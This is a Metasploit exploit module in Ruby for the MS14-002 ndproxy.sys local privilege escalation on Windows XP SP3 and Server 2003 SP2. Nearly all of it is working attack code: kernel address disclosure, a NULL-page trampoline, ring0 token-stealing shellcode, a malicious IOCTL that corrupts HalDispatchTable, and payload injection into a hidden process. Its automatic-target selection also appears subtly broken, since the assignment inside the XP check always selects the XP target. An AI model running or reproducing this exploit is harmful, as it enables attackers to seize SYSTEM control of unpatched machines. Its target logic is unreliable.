##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = AverageRanking

  include Msf::Exploit::Local::WindowsKernel
  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process

  def initialize(info = {})
    super(
      update_info(
        info,
        {
          'Name' => 'MS14-002 Microsoft Windows ndproxy.sys Local Privilege Escalation',
          'Description' => %q{
            This module exploits a flaw in the ndproxy.sys driver on Windows XP SP3 and Windows 2003
            SP2 systems, exploited in the wild in November, 2013. The vulnerability exists while
            processing an IO Control Code 0x8fff23c8 or 0x8fff23cc, where user provided input is used
            to access an array unsafely, and the value is used to perform a call, leading to a NULL
            pointer dereference which is exploitable on both Windows XP and Windows 2003 systems. This
            module has been tested successfully on Windows XP SP3 and Windows 2003 SP2. In order to
            work the service "Routing and Remote Access" must be running on the target system.
          },
          'License' => MSF_LICENSE,
          'Author' => [
            'Unknown', # Vulnerability discovery
            'ryujin', # python PoC
            'Shahin Ramezany', # C PoC
            'juan vazquez' # MSF module
          ],
          'Arch' => ARCH_X86,
          'Platform' => 'win',
          'Payload' => {
            'Space' => 4096,
            'DisableNops' => true
          },
          'SessionTypes' => ['meterpreter'],
          'DefaultOptions' => {
            'EXITFUNC' => 'thread'
          },
          'Targets' => [
            ['Automatic', {}],
            [
              'Windows XP SP3',
              {
                'HaliQuerySystemInfo' => 0x16bba, # Stable over Windows XP SP3 updates
                '_KPROCESS' => "\x44", # Offset to _KPROCESS from a _ETHREAD struct
                '_TOKEN' => "\xc8",    # Offset to TOKEN from the _EPROCESS struct
                '_UPID' => "\x84",     # Offset to UniqueProcessId FROM the _EPROCESS struct
                '_APLINKS' => "\x88"   # Offset to ActiveProcessLinks _EPROCESS struct
              }
            ],
            [
              'Windows Server 2003 SP2',
              {
                'HaliQuerySystemInfo' => 0x1fa1e,
                '_KPROCESS' => "\x38",
                '_TOKEN' => "\xd8",
                '_UPID' => "\x94",
                '_APLINKS' => "\x98"
              }
            ]
          ],
          'References' => [
            %w[CVE 2013-5065],
            %w[MSB MS14-002],
            %w[OSVDB 100368],
            %w[BID 63971],
            %w[EDB 30014],
            %w[URL http://labs.portcullis.co.uk/blog/cve-2013-5065-ndproxy-array-indexing-error-unpatched-vulnerability/],
            %w[URL http://technet.microsoft.com/en-us/security/advisory/2914486],
            %w[URL http://www.secniu.com/blog/?p=53],
            %w[URL http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html],
            %w[URL http://blog.spiderlabs.com/2013/12/the-kernel-is-calling-a-zeroday-pointer-cve-2013-5065-ring-ring.html]
          ],
          'DisclosureDate' => '2013-11-27',
          'DefaultTarget' => 0,
          'Compat' => {
            'Meterpreter' => {
              'Commands' => %w[
                stdapi_railgun_api
                stdapi_sys_config_getenv
                stdapi_sys_process_attach
                stdapi_sys_process_execute
                stdapi_sys_process_memory_write
              ]
            }
          }
        }
      )
    )
  end

  def ring0_shellcode(t)
    restore_ptrs = "\x31\xc0" # xor eax, eax
    restore_ptrs << "\xb8" + [@addresses['HaliQuerySystemInfo']].pack('V')  # mov eax, offset hal!HaliQuerySystemInformation
    restore_ptrs << "\xa3" + [@addresses['halDispatchTable'] + 4].pack('V') # mov dword ptr [nt!HalDispatchTable+0x4], eax

    ring0_shellcode = restore_ptrs + token_stealing_shellcode(t)
    ring0_shellcode
  end

  def fill_memory(proc, address, length, content)
    session.railgun.ntdll.NtAllocateVirtualMemory(-1, [address].pack('V'), nil, [length].pack('V'), 'MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN', 'PAGE_EXECUTE_READWRITE')
    unless proc.memory.writable?(address)
      vprint_error('Failed to allocate memory')
      return nil
    end

    vprint_good("#{address} is now writable")

    result = proc.memory.write(address, content)

    if result.nil?
      vprint_error('Failed to write contents to memory')
      return nil
    else
      vprint_good("Contents successfully written to 0x#{address.to_s(16)}")
    end

    address
  end

  def create_proc
    windir = session.sys.config.getenv('windir')
    cmd = "#{windir}\\System32\\notepad.exe"
    # run hidden
    begin
      proc = session.sys.process.execute(cmd, nil, 'Hidden' => true)
    rescue Rex::Post::Meterpreter::RequestError
      # when running from the Adobe Reader sandbox:
      # Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Access is denied.
      return nil
    end

    proc.pid
  end

  def disclose_addresses(t)
    addresses = {}

    hal_dispatch_table = find_haldispatchtable
    return nil if hal_dispatch_table.nil?

    addresses['halDispatchTable'] = hal_dispatch_table
    vprint_good("HalDispatchTable found at 0x#{addresses['halDispatchTable'].to_s(16)}")

    vprint_status('Getting the hal.dll base address...')
    hal_info = find_sys_base('hal.dll')
    if hal_info.nil?
      vprint_error('Failed to disclose hal.dll base address')
      return nil
    end
    hal_base = hal_info[0]
    vprint_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16)}")

    hali_query_system_information = hal_base + t['HaliQuerySystemInfo']
    addresses['HaliQuerySystemInfo'] = hali_query_system_information

    vprint_good("HaliQuerySystemInfo address disclosed at 0x#{addresses['HaliQuerySystemInfo'].to_s(16)}")
    addresses
  end

  def check
    if sysinfo['Architecture'] == ARCH_X64
      vprint_error 'Running against 64-bit systems is not supported'
      return CheckCode::Safe
    end

    handle = open_device('\\\\.\\NDProxy', 0x0, 0x0, 0x3)
    return Exploit::CheckCode::Safe if handle.nil?

    session.railgun.kernel32.CloseHandle(handle)

    version = get_version_info
    if version.build_number == Msf::WindowsVersion::XP_SP3 ||
       version.build_number == Msf::WindowsVersion::Server2003_SP2
      return Exploit::CheckCode::Appears
    elsif version.xp_or_2003?
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit
    if sysinfo['Architecture'] == ARCH_X64
      fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported')
    end

    my_target = nil
    if target.name =~ /Automatic/
      print_status('Detecting the target system...')
      version = get_version_info
      if version.build_number == Msf::WindowsVersion::XP_SP3 ||
         (my_target = targets[1])
        print_status("Running against #{my_target.name}")
      elsif version.build_number == Msf::WindowsVersion::Server2003_SP2
        my_target = targets[2]
        print_status("Running against #{my_target.name}")
      end
    else
      my_target = target
    end

    if my_target.nil?
      fail_with(Failure::NoTarget, 'Remote system not detected as target, select the target manually')
    end

    print_status('Checking device...')
    handle = open_device('\\\\.\\NDProxy', 0x0, 0x0, 0x3)
    if handle.nil?
      fail_with(Failure::NoTarget, '\\\\.\\NDProxy device not found')
    else
      print_good('\\\\.\\NDProxy found!')
    end

    print_status('Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...')
    @addresses = disclose_addresses(my_target)
    if @addresses.nil?
      session.railgun.kernel32.CloseHandle(handle)
      fail_with(Failure::Unknown, 'Failed to disclose necessary addresses for exploitation, aborting.')
    else
      print_good('Addresses successfully disclosed.')
    end

    print_status('Storing the kernel stager in memory...')
    this_proc = session.sys.process.open
    kernel_shell = ring0_shellcode(my_target)
    kernel_shell_address = 0x1000
    result = fill_memory(this_proc, kernel_shell_address, kernel_shell.length, kernel_shell)
    if result.nil?
      session.railgun.kernel32.CloseHandle(handle)
      fail_with(Failure::Unknown, 'Error while storing the kernel stager shellcode on memory')
    else
      print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}")
    end

    print_status('Storing the trampoline to the kernel stager on memory...')
    trampoline = "\x90" * 0x38       # nops
    trampoline << "\x68"             # push opcode
    trampoline << [0x1000].pack('V') # address to push
    trampoline << "\xc3"             # ret
    trampoline_addr = 0x1
    result = fill_memory(this_proc, trampoline_addr, trampoline.length, trampoline)
    if result.nil?
      session.railgun.kernel32.CloseHandle(handle)
      fail_with(Failure::Unknown, 'Error while storing trampoline on memory')
    else
      print_good("Trampoline successfully stored at 0x#{trampoline_addr.to_s(16)}")
    end

    print_status('Storing the IO Control buffer on memory...')
    buffer = "\x00" * 1024
    buffer[20, 4] = [0x7030125].pack('V') # In order to trigger the vulnerable call
    buffer[28, 4] = [0x34].pack('V')      # In order to trigger the vulnerable call
    buffer_addr = 0x0d0d0000
    result = fill_memory(this_proc, buffer_addr, buffer.length, buffer)
    if result.nil?
      session.railgun.kernel32.CloseHandle(handle)
      fail_with(Failure::Unknown, 'Error while storing the IO Control buffer on memory')
    else
      print_good("IO Control buffer successfully stored at 0x#{buffer_addr.to_s(16)}")
    end

    print_status('Triggering the vulnerability, corrupting the HalDispatchTable...')
    magic_ioctl = 0x8fff23c8
    # Values taken from the exploit in the wild, see references
    session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, buffer_addr, buffer.length, buffer_addr, 0x80)

    session.railgun.kernel32.CloseHandle(handle)

    print_status('Executing the Kernel Stager throw NtQueryIntervalProfile()...')
    session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)

    print_status('Checking privileges after exploitation...')

    unless is_system?
      fail_with(Failure::Unknown, 'The exploitation was not successful')
    end

    p = payload.encoded
    print_good('Exploitation successful! Creating a new process and launching payload...')
    new_pid = create_proc

    if new_pid.nil?
      print_warning('Unable to create a new process, maybe you are in a sandbox. If the current process has been elevated try to migrate before executing a new process...')
      return
    end

    print_status("Injecting #{p.length} bytes into #{new_pid} memory and executing it...")
    if execute_shellcode(p, nil, new_pid)
      print_good('Enjoy')
    else
      fail_with(Failure::Unknown, 'Error while executing the payload')
    end
  end
end
